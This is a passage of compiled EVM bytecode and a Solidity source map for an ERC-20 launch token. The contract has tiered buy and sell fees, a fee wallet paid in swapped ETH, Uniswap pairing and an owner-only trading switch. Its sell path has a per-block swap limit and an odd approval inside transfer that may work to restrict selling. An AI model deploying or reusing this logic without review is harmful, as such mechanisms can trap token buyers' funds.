0160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610634573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065891906115c3565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106de91906115c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561072b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074f91906115c3565b600f60036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b6001600160a01b0383166107d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b6001600160a01b03821661083a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a2565b6001600160a01b0382166109615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a2565b600081116109c35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a2565b60008060006109d186610bf0565b915091506109e76000546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610a1657506000546001600160a01b03868116911614155b15610ba057610a476064610a41600954600c5411610a3657600554610a3a565b6007545b8790610c44565b90610ccd565b600f549093506001600160a01b03878116630100000090920416148015610a7c57506010546001600160a01b03868116911614155b8015610aa157506001600160a01b03851660009081526003602052604090205460ff16155b15610ae65743600d5414610ab9576000600e5543600d555b83600e6000828254610acb91906115e0565b9091555050600c8054906000610ae0836115f3565b91905055505b600f546001600160a01b03868116630100000090920416148015610b1357506001600160a01b0386163014155b15610b9657610b20610d0f565b600e541080610b31575043600d5414155b610b6e5760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a2565b610b936064610a41600a54600c5411610b8957600654610a3a565b6008548790610c44565b92505b610ba08585610e9d565b610bae868686858588610f34565b505050505050565b60008184841115610bda5760405162461bcd60e51b81526004016103a29190611317565b506000610be7848661160c565b95945050505050565b600080303303610c0f57505060115490916001600160a01b0390911690565b3360009081526003602052604090205460ff1615610c2f57509091339150565b505060115490916001600160a01b0390911690565b600082600003610c56575060006102e8565b6000610c628385611549565b905082610c6f858361161f565b14610cc65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69646f6f706f6e206f766572666c6f6044820152607760f81b60648201526084016103a2565b9392505050565b6000610cc683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611084565b604080516002808252606082018352600092839291906020830190803683375050601054604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610d7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da191906115c3565b81600081518110610db457610db4611657565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610de857610de8611657565b6001600160a01b03928316602091820292909201015260105460405163d06ca61f60e01b8152600092919091169063d06ca61f90610e34906729a2241af62c00009086906004016116b1565b600060405180830381865afa158015610e51573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610e7991908101906116d2565b905080600181518110610e8e57610e8e611657565b60200260200101519250505090565b30600090815260016020526040902054600f5460ff16158015610ed45750600f546001600160a01b03848116630100000090920416145b8015610ee85750600f5462010000900460ff165b8015610ef75750600b54600c54115b15610f2f57600454811115610f2357610f23610f1e83610f19846004546110b2565b6110b2565b6110c7565b47610f2d47611238565b505b505050565b8015610fae5730600090815260016020526040902054610f549082611276565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa59085815260200190565b60405180910390a35b610fb9838386610777565b6001600160a01b038616600090815260016020526040902054610fdc90856112d5565b6001600160a01b03871660009081526001602052604090205561102161100285836112d5565b6001600160a01b03871660009081526001602052604090205490611276565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61106b87856112d5565b60405190815260200160405180910390a3505050505050565b600081836110a55760405162461bcd60e51b81526004016103a29190611317565b506000610be7848661161f565b60008183116110c15782610cc6565b50919050565b600f805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110957611109611657565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611162573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118691906115c3565b8160018151811061119957611199611657565b6001600160a01b0392831660209182029290920101526010546111bf9130911684610777565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f8908590600090869030904290600401611790565b600060405180830381600087803b15801561121257600080fd5b505af1158015611226573d6000803e3d6000fd5b5050600f805460ff1916905550505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611272573d6000803e3d6000fd5b5050565b60008061128383856115e0565b905083811015610cc65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a2565b6000610cc683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bb6565b600060208083528351808285015260005b8181101561134457858101830151858201604001528201611328565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461137a57600080fd5b50565b6000806040838503121561139057600080fd5b823561139b81611365565b946020939093013593505050565b6000806000606084860312156113be57600080fd5b83356113c981611365565b925060208401356113d981611365565b929592945050506040919091013590565b6000602082840312156113fc57600080fd5b8135610cc681611365565b6000806040838503121561141a57600080fd5b823561142581611365565b9150602083013561143581611365565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561149157816000190482111561147757611477611440565b8085161561148457918102915b93841c939080029061145b565b509250929050565b6000826114a8575060016102e8565b816114b5575060006102e8565b81600181146114cb57600281146114d5576114f1565b60019150506102e8565b60ff8411156114e6576114e6611440565b50506001821b6102e8565b5060208310610133831016604e8410600b8410161715611514575081810a6102e8565b61151e8383611456565b806000190482111561153257611532611440565b029392505050565b6000610cc660ff841683611499565b80820281158282048414176102e8576102e8611440565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156115aa57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156115d557600080fd5b8151610cc681611365565b808201808211156102e8576102e8611440565b60006001820161160557611605611440565b5060010190565b818103818111156102e8576102e8611440565b60008261163c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156116a65781516001600160a01b031687529582019590820190600101611681565b509495945050505050565b8281526040602082015260006116ca604083018461166d565b949350505050565b600060208083850312156116e557600080fd5b825167ffffffffffffffff808211156116fd57600080fd5b818501915085601f83011261171157600080fd5b81518181111561172357611723611641565b8060051b604051601f19603f8301168101818110858211171561174857611748611641565b60405291825284820192508381018501918883111561176657600080fd5b938501935b828510156117845784518452938501939285019261176b565b98975050505050505050565b85815284602082015260a0604082015260006117af60a083018661166d565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a2f9b746afab55e294fa4bd9ef63ac9d8ea14bd236455db9497d2f083114d6da64736f6c63430008110033
Deployed Bytecode Sourcemap
4048:7633:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6292:83;;;;;;;;;;-1:-1:-1;6362:5:0;;;;;;;;;;;;-1:-1:-1;;;6362:5:0;;;;6292:83;;;;;;;:::i;:::-;;;;;;;;7127:161;;;;;;;;;;-1:-1:-1;7127:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7127:161:0;1023:187:1;6569:99:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6569:99:0;1215:177:1;7296:312:0;;;;;;;;;;-1:-1:-1;7296:312:0;;;;;:::i;:::-;;:::i;6478:83::-;;;;;;;;;;-1:-1:-1;6478:83:0;;4351:1;2000:36:1;;1988:2;1973:18;6478:83:0;1858:184:1;6676:119:0;;;;;;;;;;-1:-1:-1;6676:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6769:18:0;6742:7;6769:18;;;:9;:18;;;;;;;6676:119;3122:148;;;;;;;;;;;;;:::i;:::-;;2908:79;;;;;;;;;;-1:-1:-1;2946:7:0;2973:6;2908:79;;-1:-1:-1;;;;;2973:6:0;;;2445:51:1;;2433:2;2418:18;2908:79:0;2299:203:1;6383:87:0;;;;;;;;;;-1:-1:-1;6455:7:0;;;;;;;;;;;;-1:-1:-1;;;6455:7:0;;;;6383:87;;6803:167;;;;;;;;;;-1:-1:-1;6803:167:0;;;;;:::i;:::-;;:::i;5657:309::-;;;;;;;;;;;;;:::i;6978:141::-;;;;;;;;;;-1:-1:-1;6978:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;7086:16:0;;;7059:7;7086:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6978:141;5974:310;;;;;;;;;;;;;:::i;7127:161::-;7202:4;7219:39;1767:10;7242:7;7251:6;7219:8;:39::i;:::-;-1:-1:-1;7276:4:0;7127:161;;;;;:::o;6569:99::-;6622:7;4411:13;4351:1;4411:2;:13;:::i;:::-;4398:26;;:10;:26;:::i;:::-;6642:18;;6569:99;:::o;7296:312::-;7394:4;7411:36;7421:6;7429:9;7440:6;7411:9;:36::i;:::-;7459:119;7468:6;1767:10;7490:87;7526:6;7490:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7490:17:0;;;;;;:9;:17;;;;;;;;1767:10;7490:31;;;;;;;;;;:35;:87::i;:::-;7459:8;:119::i;:::-;-1:-1:-1;7596:4:0;7296:312;;;;;:::o;3122:148::-;3035:6;;-1:-1:-1;;;;;3035:6:0;1767:10;3035:22;3027:67;;;;-1:-1:-1;;;3027:67:0;;;;;;;:::i;:::-;;;;;;;;;3229:1:::1;3213:6:::0;;3192:40:::1;::::0;-1:-1:-1;;;;;3213:6:0;;::::1;::::0;3192:40:::1;::::0;3229:1;;3192:40:::1;3260:1;3243:19:::0;;-1:-1:-1;;;;;;3243:19:0::1;::::0;;3122:148::o;6803:167::-;6881:4;6898:42;1767:10;6922:9;6933:6;6898:9;:42::i;5657:309::-;3035:6;;-1:-1:-1;;;;;3035:6:0;1767:10;3035:22;3027:67;;;;-1:-1:-1;;;3027:67:0;;;;;;;:::i;:::-;5721:13:::1;::::0;::::1;::::0;::::1;;;5720:14;5712:49;;;::::0;-1:-1:-1;;;5712:49:0;;5151:2:1;5712:49:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;5712:49:0::1;4949:347:1::0;5712:49:0::1;5772:11;::::0;-1:-1:-1;;;;;5772:11:0::1;:27;5807:21;5838:4;5844:24;5838:4:::0;-1:-1:-1;;;;;6769:18:0;6742:7;6769:18;;;:9;:18;;;;;;;6676:119;5844:24:::1;5869:1;5871::::0;5873:7:::1;2946::::0;2973:6;-1:-1:-1;;;;;2973:6:0;;2908:79;5873:7:::1;5772:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5772:125:0;;;-1:-1:-1;;;;;5660:15:1;;;5772:125:0::1;::::0;::::1;5642:34:1::0;5692:18;;;5685:34;;;;5735:18;;;5728:34;;;;5778:18;;;5771:34;5842:15;;;5821:19;;;5814:44;5881:15:0::1;5874:19:1::0;;;5867:35;5576:19;;5772:125:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5908:12:0::1;:19:::0;;-1:-1:-1;;5938:20:0;;;;;-1:-1:-1;5657:309:0:o;5974:310::-;3035:6;;-1:-1:-1;;;;;3035:6:0;1767:10;3035:22;3027:67;;;;-1:-1:-1;;;3027:67:0;;;;;;;:::i;:::-;6034:11:::1;:69:::0;;-1:-1:-1;;;;;;6034:69:0::1;6060:42;6034:69:::0;;::::1;::::0;;;6114:58:::1;::::0;6131:4:::1;::::0;4411:13:::1;4351:1;4411:2;:13;:::i;:::-;4398:26;::::0;:10:::1;:26;:::i;6114:58::-;6208:11;;;;;;;;;-1:-1:-1::0;;;;;6208:11:0::1;-1:-1:-1::0;;;;;6208:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6195:46:0::1;;6250:4;6257:11;;;;;;;;;-1:-1:-1::0;;;;;6257:11:0::1;-1:-1:-1::0;;;;;6257:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6195:81;::::0;-1:-1:-1;;;;;;6195:81:0::1;::::0;;;;;;-1:-1:-1;;;;;6710:15:1;;;6195:81:0::1;::::0;::::1;6692:34:1::0;6762:15;;6742:18;;;6735:43;6627:18;;6195:81:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6183:9;;:93;;;;;-1:-1:-1::0;;;;;6183:93:0::1;;;;;-1:-1:-1::0;;;;;6183:93:0::1;;;;;;5974:310::o:0;7616:333::-;-1:-1:-1;;;;;7709:19:0;;7701:68;;;;-1:-1:-1;;;7701:68:0;;6991:2:1;7701:68:0;;;6973:21:1;7030:2;7010:18;;;7003:30;7069:34;7049:18;;;7042:62;-1:-1:-1;;;7120:18:1;;;7113:34;7164:19;;7701:68:0;6789:400:1;7701:68:0;-1:-1:-1;;;;;7788:21:0;;7780:68;;;;-1:-1:-1;;;7780:68:0;;7396:2:1;7780:68:0;;;7378:21:1;7435:2;7415:18;;;7408:30;7474:34;7454:18;;;7447:62;-1:-1:-1;;;7525:18:1;;;7518:32;7567:19;;7780:68:0;7194:398:1;7780:68:0;-1:-1:-1;;;;;7859:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7909:32;;1361:25:1;;;7909:32:0;;1334:18:1;7909:32:0;;;;;;;7616:333;;;:::o;8483:1303::-;-1:-1:-1;;;;;8574:19:0;;8566:69;;;;-1:-1:-1;;;8566:69:0;;7799:2:1;8566:69:0;;;7781:21:1;7838:2;7818:18;;;7811:30;7877:34;7857:18;;;7850:62;-1:-1:-1;;;7928:18:1;;;7921:35;7973:19;;8566:69:0;7597:401:1;8566:69:0;-1:-1:-1;;;;;8654:19:0;;8646:67;;;;-1:-1:-1;;;8646:67:0;;8205:2:1;8646:67:0;;;8187:21:1;8244:2;8224:18;;;8217:30;8283:34;8263:18;;;8256:62;-1:-1:-1;;;8334:18:1;;;8327:33;8377:19;;8646:67:0;8003:399:1;8646:67:0;8740:1;8732:5;:9;8724:63;;;;-1:-1:-1;;;8724:63:0;;8609:2:1;8724:63:0;;;8591:21:1;8648:2;8628:18;;;8621:30;8687:34;8667:18;;;8660:62;-1:-1:-1;;;8738:18:1;;;8731:39;8787:19;;8724:63:0;8407:405:1;8724:63:0;8798:15;8816:13;8831;8848:30;8871:5;8848:14;:30::i;:::-;8815:63;;;;8902:7;2946;2973:6;-1:-1:-1;;;;;2973:6:0;;2908:79;8902:7;-1:-1:-1;;;;;8893:16:0;:5;-1:-1:-1;;;;;8893:16:0;;;:36;;;;-1:-1:-1;2946:7:0;2973:6;-1:-1:-1;;;;;8913:16:0;;;2973:6;;8913:16;;8893:36;8889:831;;;8956:75;9027:3;8956:66;8977:15;;8967:9;;:25;8966:55;;9007:14;;8966:55;;;8994:12;;8966:55;8956:5;;:9;:66::i;:::-;:70;;:75::i;:::-;9059:9;;8946:85;;-1:-1:-1;;;;;;9050:18:0;;;9059:9;;;;;9050:18;:51;;;;-1:-1:-1;9089:11:0;;-1:-1:-1;;;;;9072:29:0;;;9089:11;;9072:29;;9050:51;:81;;;;-1:-1:-1;;;;;;9107:24:0;;;;;;:17;:24;;;;;;;;9105:26;9050:81;9046:338;;;9170:12;9155:13;;:27;9152:144;;9224:1;9206:15;:19;9264:12;9248:13;:28;9152:144;9333:5;9314:15;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;9357:9:0;:11;;;:9;:11;;;:::i;:::-;;;;;;9046:338;9410:9;;-1:-1:-1;;;;;9401:18:0;;;9410:9;;;;;9401:18;:43;;;;-1:-1:-1;;;;;;9423:21:0;;9439:4;9423:21;;9401:43;9398:283;;;9491:15;:13;:15::i;:::-;9473;;:33;:64;;;;9525:12;9510:13;;:27;;9473:64;9465:91;;;;-1:-1:-1;;;9465:91:0;;9289:2:1;9465:91:0;;;9271:21:1;9328:2;9308:18;;;9301:30;-1:-1:-1;;;9347:18:1;;;9340:44;9401:18;;9465:91:0;9087:338:1;9465:91:0;9587:78;9661:3;9587:69;9608:16;;9598:9;;:26;9597:58;;9640:15;;9597:58;;;9626:13;;9587:5;;:9;:69::i;:78::-;9577:88;;9398:283;9682:26;9695:5;9702;9682:12;:26::i;:::-;9721:57;9735:5;9742;9749;9756;9763;9770:7;9721:13;:57::i;:::-;8555:1231;;;8483:1303;;;:::o;866:190::-;952:7;988:12;980:6;;;;972:29;;;;-1:-1:-1;;;972:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1012:9:0;1024:5;1028:1;1024;:5;:::i;:::-;1012:17;866:190;-1:-1:-1;;;;;866:190:0:o;9794:316::-;9854:13;;9920:4;1767:10;9898:27;9895:71;;-1:-1:-1;;9954:11:0;;9941:5;;-1:-1:-1;;;;;9954:11:0;;;;9794:316::o;9895:71::-;1767:10;9980:31;;;;:17;:31;;;;;;;;9977:75;;;-1:-1:-1;10026:5:0;;1767:10;;-1:-1:-1;9794:316:0:o;9977:75::-;-1:-1:-1;;10090:11:0;;10077:5;;-1:-1:-1;;;;;10090:11:0;;;;9794:316::o;1064:246::-;1122:7;1146:1;1151;1146:6;1142:47;;-1:-1:-1;1176:1:0;1169:8;;1142:47;1199:9;1211:5;1215:1;1211;:5;:::i;:::-;1199:17;-1:-1:-1;1244:1:0;1235:5;1239:1;1199:17;1235:5;:::i;:::-;:10;1227:56;;;;-1:-1:-1;;;1227:56:0;;9987:2:1;1227:56:0;;;9969:21:1;10026:2;10006:18;;;9999:30;10065:34;10045:18;;;10038:62;-1:-1:-1;;;10116:18:1;;;10109:31;10157:19;;1227:56:0;9785:397:1;1227:56:0;1301:1;1064:246;-1:-1:-1;;;1064:246:0:o;1318:132::-;1376:7;1403:39;1407:1;1410;1403:39;;;;;;;;;;;;;;;;;:3;:39::i;10903:299::-;10995:16;;;11009:1;10995:16;;;;;;;;10951:7;;;;10995:16;11009:1;10995:16;;;;;;;;-1:-1:-1;;11032:11:0;;:18;;;-1:-1:-1;;;11032:18:0;;;;10971:40;;-1:-1:-1;;;;;;11032:11:0;;;;:16;;-1:-1:-1;11032:18:0;;;;;;;;;;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11022:4;11027:1;11022:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1;;;;;11022:28:0;;;-1:-1:-1;;;;;11022:28:0;;;;;11079:4;11061;11066:1;11061:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11061:23:0;;;:7;;;;;;;;;:23;11122:11;;:41;;-1:-1:-1;;;11122:41:0;;11095:24;;11122:11;;;;;:25;;:41;;11148:8;;11158:4;;11122:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;11122:41:0;;;;;;;;;;;;:::i;:::-;11095:68;;11181:10;11192:1;11181:13;;;;;;;;:::i;:::-;;;;;;;11174:20;;;;10903:299;:::o;10118:520::-;10228:4;10190:17;6769:18;;;:9;:18;;;;;;10251:10;;;;10250:11;:33;;;;-1:-1:-1;10274:9:0;;-1:-1:-1;;;;;10265:18:0;;;10274:9;;;;;10265:18;10250:33;:49;;;;-1:-1:-1;10287:12:0;;;;;;;10250:49;:83;;;;;10315:18;;10303:9;;:30;10250:83;10246:385;;;10365:15;;10353:9;:27;10350:114;;;10395:69;10412:51;10420:5;10427:35;10435:9;10446:15;;10427:7;:35::i;:::-;10412:7;:51::i;:::-;10395:16;:69::i;:::-;10497:21;10570:34;10582:21;10570:11;:34::i;:::-;10335:296;10246:385;10178:460;10118:520;;:::o;7957:518::-;8094:11;;8091:161;;8164:4;8146:24;;;;:9;:24;;;;;;:37;;8175:7;8146:28;:37::i;:::-;8137:4;8119:24;;;;:9;:24;;;;;;;:64;;;;8201:39;;-1:-1:-1;;;;;8201:39:0;;;;;;;8232:7;1361:25:1;;1349:2;1334:18;;1215:177;8201:39:0;;;;;;;;8091:161;8253:29;8262:5;8269;8276;8253:8;:29::i;:::-;-1:-1:-1;;;;;8312:16:0;;;;;;:9;:16;;;;;;:27;;8333:5;8312:20;:27::i;:::-;-1:-1:-1;;;;;8293:16:0;;;;;;:9;:16;;;;;:46;8369:40;8390:18;:5;8400:7;8390:9;:18::i;:::-;-1:-1:-1;;;;;8369:16:0;;;;;;:9;:16;;;;;;;:20;:40::i;:::-;-1:-1:-1;;;;;8350:16:0;;;;;;;:9;:16;;;;;:59;;;;8425:42;;;8448:18;:5;8458:7;8448:9;:18::i;:::-;8425:42;;1361:25:1;;;1349:2;1334:18;8425:42:0;;;;;;;7957:518;;;;;;:::o;1458:189::-;1544:7;1579:12;1572:5;1564:28;;;;-1:-1:-1;;;1564:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1603:9:0;1615:5;1619:1;1615;:5;:::i;10683:105::-;10744:7;10774:1;10772;:3;10771:9;;10779:1;10771:9;;;-1:-1:-1;10777:1:0;10683:105;-1:-1:-1;10683:105:0:o;11210:468::-;5141:10;:17;;-1:-1:-1;;5141:17:0;5154:4;5141:17;;;11311:16:::1;::::0;;11325:1:::1;11311:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11311:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11311:16:0::1;11287:40;;11356:4;11338;11343:1;11338:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11338:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11382:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;11382:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;11338:7;;11382:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11372:4;11377:1;11372:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11372:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;11443:11:::1;::::0;11411:57:::1;::::0;11428:4:::1;::::0;11443:11:::1;11457:10:::0;11411:8:::1;:57::i;:::-;11479:11;::::0;:191:::1;::::0;-1:-1:-1;;;11479:191:0;;-1:-1:-1;;;;;11479:11:0;;::::1;::::0;:62:::1;::::0;:191:::1;::::0;11556:10;;11479:11:::1;::::0;11597:4;;11624::::1;::::0;11644:15:::1;::::0;11479:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5181:10:0;:18;;-1:-1:-1;;5181:18:0;;;-1:-1:-1;;;;11210:468:0:o;10796:99::-;10859:11;;10851:36;;-1:-1:-1;;;;;10859:11:0;;;;10851:36;;;;;10881:5;;10859:11;10851:36;10859:11;10851:36;10881:5;10859:11;10851:36;;;;;;;;;;;;;;;;;;;;;10796:99;:::o;535:179::-;593:7;;625:5;629:1;625;:5;:::i;:::-;613:17;;654:1;649;:6;;641:46;;;;-1:-1:-1;;;641:46:0;;13179:2:1;641:46:0;;;13161:21:1;13218:2;13198:18;;;13191:30;13257:29;13237:18;;;13230:57;13304:18;;641:46:0;12977:351:1;722:136:0;780:7;807:43;811:1;814;807:43;;;;;;;;;;;;;;;;;:3;:43::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5913:306::-;6001:6;6009;6017;6070:2;6058:9;6049:7;6045:23;6041:32;6038:52;;;6086:1;6083;6076:12;6038:52;6115:9;6109:16;6099:26;;6165:2;6154:9;6150:18;6144:25;6134:35;;6209:2;6198:9;6194:18;6188:25;6178:35;;5913:306;;;;;:::o;6224:251::-;6294:6;6347:2;6335:9;6326:7;6322:23;6318:32;6315:52;;;6363:1;6360;6353:12;6315:52;6395:9;6389:16;6414:31;6439:5;6414:31;:::i;8817:125::-;8882:9;;;8903:10;;;8900:36;;;8916:18;;:::i;8947:135::-;8986:3;9007:17;;;9004:43;;9027:18;;:::i;:::-;-1:-1:-1;9074:1:1;9063:13;;8947:135::o;9430:128::-;9497:9;;;9518:11;;;9515:37;;;9532:18;;:::i;9563:217::-;9603:1;9629;9619:132;;9673:10;9668:3;9664:20;9661:1;9654:31;9708:4;9705:1;9698:15;9736:4;9733:1;9726:15;9619:132;-1:-1:-1;9765:9:1;;9563:217::o;10187:127::-;10248:10;10243:3;10239:20;10236:1;10229:31;10279:4;10276:1;10269:15;10303:4;10300:1;10293:15;10319:127;10380:10;10375:3;10371:20;10368:1;10361:31;10411:4;10408:1;10401:15;10435:4;10432:1;10425:15;10451:461;10504:3;10542:5;10536:12;10569:6;10564:3;10557:19;10595:4;10624:2;10619:3;10615:12;10608:19;;10661:2;10654:5;10650:14;10682: